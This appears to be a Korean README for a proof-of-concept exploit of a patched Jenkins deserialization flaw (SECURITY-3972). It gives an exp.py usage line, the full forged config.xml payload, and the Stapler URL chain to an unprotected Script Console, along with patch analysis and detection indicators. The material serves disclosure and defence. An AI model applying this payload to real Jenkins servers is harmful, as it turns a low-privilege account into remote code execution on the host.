
Jenkins PersistenceRoot 역직렬화 RCE (SECURITY-3972) — PoC 및 분석. Item/Configure 권한 필요; 주간 빌드 <= 2.579 / LTS <= 2.568.2에 영향.
2026-09-02에 수정된 Jenkins 역직렬화 취약점에 대한 PoC입니다 (advisory). 단일 작업에 대해 Item/Configure 권한을 가진 낮은 권한의 계정이 이를 Jenkins OS 사용자로 임의 코드 실행으로 전환할 수 있습니다.
| 영향 범위 | Jenkins weekly ≤ 2.579, LTS ≤ 2.568.2 |
| 수정 버전 | weekly 2.580, LTS 2.568.3 |
| 선행 조건 | 인증됨, 1개 이상의 작업에 대한 Item/Configure |
| 영향 | Jenkins 서비스 계정으로 RCE |
| CVSS | 8.8 (High) |
취약한 테스트 인스턴스에 대한 공인된 보안 연구용으로만 사용하십시오.
pip install requests
python3 exp.py --url http://<target>:<port> --user <user> --password <pass> [--job <name>] --cmd id
이 스크립트는 계정에 스크립트 권한이 없는지 확인하고(403 예상), 조작된 config.xml을 제출한 다음, 주입된 객체 그래프를 통해 공격자가 제어하는 ACL을 가진 Script Console로 라우팅합니다.
Jenkins XStream 스택(hudson.util.XStream2 / RobustReflectionConverter)의 오래된 두 가지 동작이 결합됩니다:
PersistenceRoot 하위 유형으로 타입이 지정된(또는 할당 가능한) 모든 필드는 일반 객체처럼 언마샬링되었습니다. XStream은 Unsafe.allocateInstance(생성자 없음)를 통해 인스턴스화하므로, 공격자는 authorizationStrategy를 포함한 임의의 필드 값을 가진 두 번째 hudson.model.Hudson 싱글턴을 위조할 수 있었습니다.FingerprintAction.build, Run.project, AbstractItem.parent)는 일시적이므로, 주입된 객체는 HTTP를 통해 접근 가능해집니다 — advisory의 "이후 Stapler를 통해 HTTP 요청 처리"라는 표현.POST /job/<job>/config.xml(Item/Configure만 필요)은 작업의 <actions>에 다음을 주입합니다:
<actions>
<hudson.tasks.Fingerprinter_-FingerprintAction>
<build class="hudson.model.FreeStyleBuild"> <!-- PersistenceRoot 중첩 (결함 1); 일시적 필드 (결함 2) -->
<project class="hudson.model.FreeStyleProject"> <!-- Run.project: protected final transient -->
<parent class="hudson.model.Hudson"> <!-- AbstractItem.parent: transient; 위조된 두 번째 Jenkins -->
<authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
</parent>
<name>...</name>
<properties/> <!-- Job.getOverrides()에서 NPE 방지 -->
</project>
</build>
<record/>
</hudson.tasks.Fingerprinter_-FingerprintAction>
</actions>
그런 다음 Stapler는 요청을 위조된 그래프로 라우팅합니다:
| URL 세그먼트 | 확인 대상 | 코드 경로 |
|---|---|---|
/job/<job>/fingerprints | 주입된 FingerprintAction | urlName == "fingerprints" + Actionable.getDynamic() |
/run | 위조된 FreeStyleBuild | FingerprintAction.getRun()이 일시적 build를 읽음 |
/parent | 위조된 FreeStyleProject | Run.getParent()가 final transient project를 읽음 |
/parent | 위조된 hudson.model.Hudson | AbstractItem.getParent()가 일시적 parent를 읽음 |
/scriptText | 위조된 인스턴스의 Script Console | Jenkins.doScriptText() → _doScript(..., getACL()) |
권한 우회: doScriptText는 요청을 수신한 인스턴스에 대해 ADMINISTER를 확인합니다. 즉, 위조된 Hudson의 getACL()을 확인하며, 이는 자체 authorizationStrategy 필드에서 파생됩니다 — AuthorizationStrategy$Unsecured는 모든 것을 허용합니다. 실제 컨트롤러의 권한 부여 전략은 전혀 관여하지 않습니다. 역직렬화 중에는 생성자가 실행되지 않으므로 필드 초기화자가 적용되지 않습니다. 따라서 페이로드는 authorizationStrategy(및 properties)를 명시적으로 설정해야 합니다.
jenkins-2.579 → jenkins-2.580 diff:
RobustReflectionConverter.doUnmarshal은 이제 PersistenceRoot 하위 유형을 중첩된 필드로 언마샬링하는 것을 거부합니다(CriticalXStreamException: "PersistenceRoot 객체는 문서 루트이며 중첩된 필드 값으로 나타날 수 없습니다"). XStream reference= 역참조, 비영구적 resolves-to 리플레이서(Run$Replacer, User$Replacer, …), 단일 값 변환기 스칼라 참조의 세 가지 안전한 형태만 허용합니다.@XStreamNotDeserializable / @XStreamDeserializable 어노테이션과 TRANSIENT_FIELD_STRICT_MODE가 필드별 일시적 필드 언마샬링을 강화합니다.Jenkins.readResolve()는 이제 두 번째 Jenkins 싱글턴 역직렬화를 거부하며 writeReplace() 리플레이서를 얻었습니다.test/src/test/java/jenkins/security/Security3972Test.java, Security3972QueueRestartTest.java.Fingerprinter_-FingerprintAction / hudson.model.Hudson이 포함된 예상치 못한 POST /job/*/config.xml 페이로드 또는 /job/*/fingerprints/run/parent/parent/scriptText에 대한 요청.config.xml 파일의 오염을 확인하십시오.